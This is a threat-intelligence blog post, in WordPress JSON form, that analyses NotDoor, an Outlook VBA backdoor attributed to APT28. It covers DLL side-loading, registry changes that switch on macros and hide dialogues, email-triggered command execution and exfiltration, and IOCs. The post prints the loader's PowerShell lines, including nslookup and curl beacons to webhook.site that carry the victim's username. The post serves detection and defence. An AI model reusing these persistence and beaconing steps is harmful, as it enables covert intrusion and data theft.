{"id":2956,"date":"2025-09-03T09:59:47","date_gmt":"2025-09-03T07:59:47","guid":{"rendered":"https:\/\/lab52.io\/blog\/?p=2956"},"modified":"2025-09-03T10:02:44","modified_gmt":"2025-09-03T08:02:44","slug":"analyzing-notdoor-inside-apt28s-expanding-arsenal","status":"publish","type":"post","link":"https:\/\/lab52.io\/blog\/analyzing-notdoor-inside-apt28s-expanding-arsenal\/","title":{"rendered":"Analyzing NotDoor: Inside APT28\u2019s Expanding Arsenal"},"content":{"rendered":"\n<p>LAB52, the intelligence team at S2 Grupo, has identified a new backdoor for Outlook attributed to the persistent threat group APT28, which is linked to the Russian intelligence service and has compromised multiple companies from various sectors in NATO member countries.<\/p>\n\n\n\n<p>The artefact, dubbed NotDoor due to the use of the word \u2018Nothing\u2019 within the code, is a VBA macro for Outlook designed to monitor incoming emails for a specific trigger word. When such an email is detected, it enables an attacker to exfiltrate data, upload files, and execute commands on the victim\u2019s computer.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Backdoor setup<\/h1>\n\n\n\n<p>To evade detection, the backdoor will be deployed via the legitimate signed binary <strong>Microsoft OneDrive.exe signed binary,<\/strong> which is vulnerable to the DLL side-loading technique. This process will load the malicious DLL <strong>SSPICLI.dll,<\/strong> , responsible for installing the VBA backdoor and disabling multiple macro security protections. The attacker would have previously placed the backdoor in <strong>c:\\programdata\\testtemp.ini<\/strong> to enable this execution chain.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"158\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-1024x158.png\" alt=\"\" class=\"wp-image-2960\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-1024x158.png 1024w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-300x46.png 300w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-768x118.png 768w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image.png 1330w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Malicious DLL detections<\/figcaption><\/figure><\/div>\n\n\n<p>The loader will run three PowerShell commands, each encoded in Base64.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"976\" height=\"327\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-08-25.png\" alt=\"\" class=\"wp-image-2959\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-08-25.png 976w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-08-25-300x101.png 300w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-08-25-768x257.png 768w\" sizes=\"(max-width: 976px) 100vw, 976px\" \/><figcaption class=\"wp-element-caption\">Encoded PowerShell command<\/figcaption><\/figure><\/div>\n\n\n<p>The first command will copy the file <strong>c:\\programdata\\testtemp.ini<\/strong> to <strong>%APPDATA%\\Microsoft\\Outlook\\VbaProject.OTM, <\/strong>which contains the macros that Outlook will execute.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$a=$env:APPDATA;copy c:\\programdata\\testtemp.ini \"$a\\Microsoft\\Outlook\\VbaProject.OTM\"<\/code><\/pre>\n\n\n\n<p>The second command performs an <strong>nslookup<\/strong> on a domain incorporating the username, using the webhook.site DNS hooking service previously employed in the group\u2019s campaigns. This appears to serve as a mechanism for the attackers to verify that the code executed successfully on the victim\u2019s machine.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nslookup \"$env:USERNAME.910cf351-a05d-4f67-ab8e-6f62cfa8e26d.dnshook&#91;.site\"<\/code><\/pre>\n\n\n\n<p>Finally, the third command sends a <strong>curl<\/strong> request to a webhook.site URL, serving the same purpose.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cmd \/c curl \"hxxp:\/\/webhook&#91;.site\/910cf351-a05d-4f67-ab8e-6f62cfa8e26d?$env:USERNAME\"<\/code><\/pre>\n\n\n\n<p>The loader establishes persistence by enabling the <strong>LoadMacroProviderOnBoot<\/strong> subkey within the <strong>Software\\Microsoft\\Office\\16.0\\Outlook<\/strong> registry key.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"655\" height=\"264\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-08-43.png\" alt=\"\" class=\"wp-image-2962\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-08-43.png 655w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-08-43-300x121.png 300w\" sizes=\"(max-width: 655px) 100vw, 655px\" \/><figcaption class=\"wp-element-caption\">Persistence<\/figcaption><\/figure><\/div>\n\n\n<p>Next, the loader enables macro execution by modifying the <strong>Level<\/strong> subkey under <strong>Software\\Microsoft\\Office\\16.0\\Outlook\\Security<\/strong> in the Windows registry.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"655\" height=\"264\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-09-06.png\" alt=\"\" class=\"wp-image-2963\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-09-06.png 655w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-09-06-300x121.png 300w\" sizes=\"(max-width: 655px) 100vw, 655px\" \/><figcaption class=\"wp-element-caption\">Macro activation<\/figcaption><\/figure><\/div>\n\n\n<p>Finally, dialogue messages are disabled by modifying the <strong>Software\\Microsoft\\Office\\16.0\\Outlook\\Options\\General<\/strong> registry key, reducing the likelihood of detection by the user.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"239\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-17-48.png\" alt=\"\" class=\"wp-image-2964\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-17-48.png 683w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-14-17-48-300x105.png 300w\" sizes=\"(max-width: 683px) 100vw, 683px\" \/><figcaption class=\"wp-element-caption\">Deactivation of dialogue messages<\/figcaption><\/figure><\/div>\n\n\n<h1 class=\"wp-block-heading\">NotDoor: a silent backdoor<\/h1>\n\n\n\n<p>The backdoor will be a VBA project for Outlook that, at the time of analysis, presents few detections.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"158\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-1-1024x158.png\" alt=\"\" class=\"wp-image-2965\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-1-1024x158.png 1024w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-1-300x46.png 300w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-1-768x118.png 768w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-1.png 1330w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">NotDoor backdoor detections<\/figcaption><\/figure><\/div>\n\n\n<p>The malware leverages the <strong>Application_MAPILogonComplete<\/strong> and <strong>Application_NewMailEx<\/strong> events to execute code whenever Outlook is started or a new email arrives. The project is obfuscated, with variable and function names replaced by random alphabetic strings to conceal its behavior. Additionally, the malware employs a unique string encoding technique for both internal data and dynamically generated strings. This method involves prepending random alphanumeric characters to a valid Base64 string, creating the illusion of encryption when decoded.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"703\" height=\"87\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-15-46-56.png\" alt=\"\" class=\"wp-image-2966\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-15-46-56.png 703w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-15-46-56-300x37.png 300w\" sizes=\"(max-width: 703px) 100vw, 703px\" \/><figcaption class=\"wp-element-caption\">Custom encryption<\/figcaption><\/figure><\/div>\n\n\n<p>Upon logging in, the malware will create a folder at the path <strong>%TEMP%\\Temp<\/strong> if it does not already exist. This folder serves as a repository for various artifacts generated during the malware\u2019s operation. If the folder contains any files when the malware starts, their contents will be sent via email to <strong>a.matti444@proton[.me<\/strong>, with the subject line <strong>&#8220;Re: 0&#8221;<\/strong>, after which the files will be deleted, regardless of whether they were successfully sent or not.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"424\" height=\"237\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-15-41-15.png\" alt=\"\" class=\"wp-image-2967\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-15-41-15.png 424w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-15-41-15-300x168.png 300w\" sizes=\"(max-width: 424px) 100vw, 424px\" \/><figcaption class=\"wp-element-caption\">Example to sent email at logon<\/figcaption><\/figure><\/div>\n\n\n<p>When the client receives an email, it first checks for the presence of a specific string on a designated line that triggers the backdoor functions. If the string is found, the malware parses the email\u2019s contents to extract the commands to be executed. In the analyzed sample, this trigger string is<strong> &#8220;Daily Report&#8221;<\/strong>; however, the backdoor allows multiple triggers to be configured, so the string may vary in other instances. Once the backdoor is activated, the email that triggered it is deleted.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"723\" height=\"95\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-17-48-27.png\" alt=\"\" class=\"wp-image-2968\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-17-48-27.png 723w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-08-29-17-48-27-300x39.png 300w\" sizes=\"(max-width: 723px) 100vw, 723px\" \/><figcaption class=\"wp-element-caption\">Trigger<\/figcaption><\/figure><\/div>\n\n\n<p>The received email must follow a specific structure. First, it must include a numerical value that serves as an identifier. Next, it must contain an email address for data exfiltration, which is encrypted using the malware\u2019s custom encryption algorithm. Finally, the malware supports multiple commands per email, also encrypted using the same algorithm. Below is an example of an email that would trigger the backdoor\u2019s functionality.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"919\" height=\"217\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-2.png\" alt=\"\" class=\"wp-image-2969\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-2.png 919w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-2-300x71.png 300w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/image-2-768x181.png 768w\" sizes=\"(max-width: 919px) 100vw, 919px\" \/><figcaption class=\"wp-element-caption\">Example of email<\/figcaption><\/figure><\/div>\n\n\n<p>In particular, the malware allows the following four commands.<\/p>\n\n\n\n<figure class=\"wp-block-table aligncenter\"><table class=\"has-fixed-layout\"><tbody><tr><td>Command<\/td><td>Description<\/td><\/tr><tr><td>cmd<\/td><td>Executes commands and returns the standard output as an email attachment.<\/td><\/tr><tr><td>cmdno<\/td><td>Executes commands.<\/td><\/tr><tr><td><br>dwn<\/td><td>Exfiltrates files from the victim\u2019s computer by sending them as email attachments.<\/td><\/tr><tr><td><br>upl<\/td><td>Upload files directly onto the victim\u2019s computer.<\/td><\/tr><\/tbody><\/table><figcaption class=\"wp-element-caption\">List of commands<\/figcaption><\/figure>\n\n\n\n<p>The results of these commands will be sent to the sender using an email with the subject line in the following format: <strong>&#8220;Re: &lt;ID> &lt;EMAIL SUBJECT>&#8221;.<\/strong> The files will be sent as attachments and the results of the execution will be sent in the body of the email.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"652\" height=\"228\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-17-21-28.png\" alt=\"\" class=\"wp-image-2970\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-17-21-28.png 652w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-17-21-28-300x105.png 300w\" sizes=\"(max-width: 652px) 100vw, 652px\" \/><figcaption class=\"wp-element-caption\">Example of an email sent when the backdoor is activated<\/figcaption><\/figure><\/div>\n\n\n<p>Files exfiltrated by the malware are saved in the  folder. Each file is named using a predefined list of names and extensions, following the format <strong>&lt;NAME>_&lt;ID>.&lt;EXTENSION>.<\/strong> The file contents are encoded using the malware\u2019s custom encryption, sent via email, and then deleted from the system.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"443\" height=\"64\" src=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-17-34-55.png\" alt=\"\" class=\"wp-image-2972\" srcset=\"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-17-34-55.png 443w, https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/Captura-desde-2025-09-02-17-34-55-300x43.png 300w\" sizes=\"(max-width: 443px) 100vw, 443px\" \/><figcaption class=\"wp-element-caption\">Generated file<\/figcaption><\/figure><\/div>\n\n\n<p>Below is a list of possible filenames.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>report<\/li>\n\n\n\n<li>invoice<\/li>\n\n\n\n<li>contract<\/li>\n\n\n\n<li>photo<\/li>\n\n\n\n<li>scheme<\/li>\n\n\n\n<li>document<\/li>\n<\/ul>\n\n\n\n<p>Below is a list of possible extensions.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>jpg<\/li>\n\n\n\n<li>jpeg<\/li>\n\n\n\n<li>gif<\/li>\n\n\n\n<li>bmp<\/li>\n\n\n\n<li>ico<\/li>\n\n\n\n<li>png<\/li>\n\n\n\n<li>pdf<\/li>\n\n\n\n<li>doc<\/li>\n\n\n\n<li>docx<\/li>\n\n\n\n<li>xls<\/li>\n\n\n\n<li>xlsx<\/li>\n\n\n\n<li>ppt<\/li>\n\n\n\n<li>pptx<\/li>\n\n\n\n<li>mp3<\/li>\n\n\n\n<li>mp4<\/li>\n\n\n\n<li>xml<\/li>\n<\/ul>\n\n\n\n<h1 class=\"wp-block-heading\">Conclusion<\/h1>\n\n\n\n<p>In conclusion, this article highlights the ongoing evolution of APT28, demonstrating how it continuously generates new artefacts capable of bypassing established defense mechanisms. Below is a series of indicators of compromise that could help detect the threat.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">Indicators of Compromise (IOC)<\/h1>\n\n\n\n<figure class=\"wp-block-table aligncenter\"><table class=\"has-fixed-layout\"><tbody><tr><td>SHA256<\/td><td>Description<\/td><\/tr><tr><td>fcb6dc17f96af2568d7fa97a6087e4539285141206185aec5c85fa9cf73c9193<\/td><td>onedrive.exe<br>(legit)<\/td><\/tr><tr><td>5a88a15a1d764e635462f78a0cd958b17e6d22c716740febc114a408eef66705<\/td><td>SSPICLI.dll<\/td><\/tr><tr><td>8f4bca3c62268fff0458322d111a511e0bcfba255d5ab78c45973bd293379901<\/td><td>testtemp.ini<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td>Network indicator<\/td><td>Description<\/td><\/tr><tr><td>a.matti444@proton[.me<\/td><td>Email used for exfiltration<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td>Path<\/td><td>Description<\/td><\/tr><tr><td>%Temp%\\Test<\/td><td>Folder generated by backdoor<\/td><\/tr><tr><td>c:\\programdata\\testtemp.ini<\/td><td>Observed artifact<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">References<\/h1>\n\n\n\n<ul class=\"wp-block-list\">\n<li>[1] CERT Polska. (2024, May 8). <em>APT28 campaign targeting Polish government institutions<\/em>. CERT Polska. <a href=\"https:\/\/cert.pl\/en\/posts\/2024\/05\/apt28-campaign\/?utm_source=chatgpt.com\">https:\/\/cert.pl\/en\/posts\/2024\/05\/apt28-campaign\/<\/a><\/li>\n<\/ul>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>LAB52, the intelligence team at S2 Grupo, has identified a new backdoor for Outlook attributed to the persistent threat group APT28, which is linked to the Russian intelligence service and has compromised multiple companies from various sectors in NATO member countries. The artefact, dubbed NotDoor due to the use of the word \u2018Nothing\u2019 within the [&hellip;]<\/p>\n","protected":false},"author":28,"featured_media":2980,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":"","footnotes":""},"categories":[21,1],"tags":[4,84,79,7,8],"class_list":{"0":"post-2956","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-apt","8":"category-uncategorised","9":"tag-apt","10":"tag-apt28","11":"tag-backdoor","12":"tag-gru","13":"tag-russia","14":"entry"},"featured_image_src":"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/APT28_2-526x400.png","featured_image_src_square":"https:\/\/lab52.io\/blog\/wp-content\/uploads\/2025\/09\/APT28_2.png","author_info":{"display_name":"3722304989","author_link":"https:\/\/lab52.io\/blog\/author\/3722304989\/"},"_links":{"self":[{"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/posts\/2956"}],"collection":[{"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/users\/28"}],"replies":[{"embeddable":true,"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/comments?post=2956"}],"version-history":[{"count":8,"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/posts\/2956\/revisions"}],"predecessor-version":[{"id":2979,"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/posts\/2956\/revisions\/2979"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/media\/2980"}],"wp:attachment":[{"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/media?parent=2956"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/categories?post=2956"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lab52.io\/blog\/wp-json\/wp\/v2\/tags?post=2956"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}